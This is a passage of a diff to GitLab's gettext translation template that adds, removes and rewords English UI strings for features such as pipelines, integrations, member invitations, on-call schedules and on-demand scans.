-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18268,6 +18681,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18382,6 +18813,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
